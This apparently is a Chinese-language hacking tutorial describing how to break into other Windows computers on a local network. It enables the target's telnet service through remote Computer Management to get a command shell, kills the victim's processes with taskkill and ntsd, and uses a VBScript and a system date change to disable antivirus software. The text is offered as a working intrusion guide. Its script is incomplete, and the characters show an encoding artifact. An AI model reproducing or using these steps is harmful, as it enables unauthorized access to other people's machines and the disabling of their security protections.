windows局域網(wǎng)的一個(gè)經(jīng)典的入侵方法

3年前我用的東西了， 可能大家比較老了， 不過也許現(xiàn)在還是能用上的， 不過大家不妨試驗(yàn)一下很有趣的。

　　點(diǎn)我的電腦右鍵單機(jī)管理， 然后點(diǎn)操作底下的=》連接到另外一個(gè)計(jì)算機(jī)。 輸入對方ip

　　或者你不知道對方ip 可以這樣， 點(diǎn)瀏覽高級里的立即查找， 就可以顯示本局域網(wǎng)工作組內(nèi)的計(jì)算機(jī)了。 然后雙擊你要進(jìn)入的電腦， 呵呵一般局域網(wǎng)的計(jì)算機(jī)密碼是一樣的， 所以不需要NTLM驗(yàn)證， 不過那個(gè)驗(yàn)證比較老了， 現(xiàn)在不知道還有沒有人會用， 進(jìn)入后然后點(diǎn)服務(wù)和應(yīng)用， 找到telnet服務(wù)， 然后開啟對方telnet服務(wù)， 如果沒有進(jìn)入這些界面或者服務(wù)出錯(cuò)是因?yàn)閷Ψ經(jīng)]有開rpc服務(wù)， 當(dāng)然還是選擇放棄吧， 如果按照剛才步驟成功， 那恭喜你已經(jīng)得到一個(gè)進(jìn)入對方計(jì)算機(jī)的通道了。

　　然后在cmd底下輸入 telnet 對方ip地址 就會顯示對方的一個(gè)cmdshell了， 當(dāng)然這里有個(gè)小技巧， 如果你不知道對方ip怎么辦。 很簡單cmd下輸入net view 可以查看到局域網(wǎng)計(jì)算機(jī)名， 然后點(diǎn)鼠標(biāo)右鍵 標(biāo)記你要的計(jì)算機(jī)名字選中 按下回車就復(fù)制到cmd的剪切板里了， 然后用ping命令 ping 粘貼你剛才復(fù)制的內(nèi)容（直接點(diǎn)右鍵就出來了） 然后就能看到你ping的ip了。

　　進(jìn)入對方計(jì)算機(jī)該后該怎么做呢。 呵呵 很多黑客教程好像沒有具體告訴我們下一步我們該怎么辦吧 嘿嘿。

　　發(fā)揮你的想象， 把對方電腦就當(dāng)成你本機(jī)一樣去對待， 比如你想查看對方進(jìn)程。

　　cmd 下輸入 tasklist

　　進(jìn)程太多看不完怎么辦 tasklist more

　　想殺掉他的進(jìn)程怎么辦？

　　taskkill /f /im 進(jìn)程名字 /t 如關(guān)qq taskkill /f /im qq.exe /t

　　或者有的用ntsd殺進(jìn)程

　　ntsd -c q -p PID

　　PID是用他是用tasklist就可以看到的對照相應(yīng)的PID就能殺進(jìn)程

　　如果多次查殺對方進(jìn)程不成功是什么原因， 很可能對方有殺毒軟件或者防火墻

　　怎么去殺掉卡巴這些進(jìn)程呢？

　　這里有一個(gè)腳本

　　Set ws = CreateObject（"Wscript.Shell"）

　　ws.run "cmd /c set date=%date% &&date 1988-1-1 &&ping -n 30 127.0.0.1&&date %date%",vbhide

　　for each ps in getobject（"winmgmts:\\.\root\cimv2:win32_proCESs"）.instances_

　　if ps.Name="rfwsrv.exe" then

　　ws.run "ntsd -c q -p ps.handle",0

　　我們可以這樣去做 echo 加上面的每一行腳本代碼>>c:\kill.vbs

　　最后在運(yùn)行這個(gè)腳本 就可以了。 呵呵

　　也可以你覺得麻煩直接輸入 date 然后加日期修改成1988年左右就行了 卡巴就失效了

　　瑞星的原理也是taskkill掉了rfwsrv.exe這個(gè)進(jìn)程使殺毒軟件失效。

　　其他的就不用我說了自己研究點(diǎn)dos命令就可以搞定了。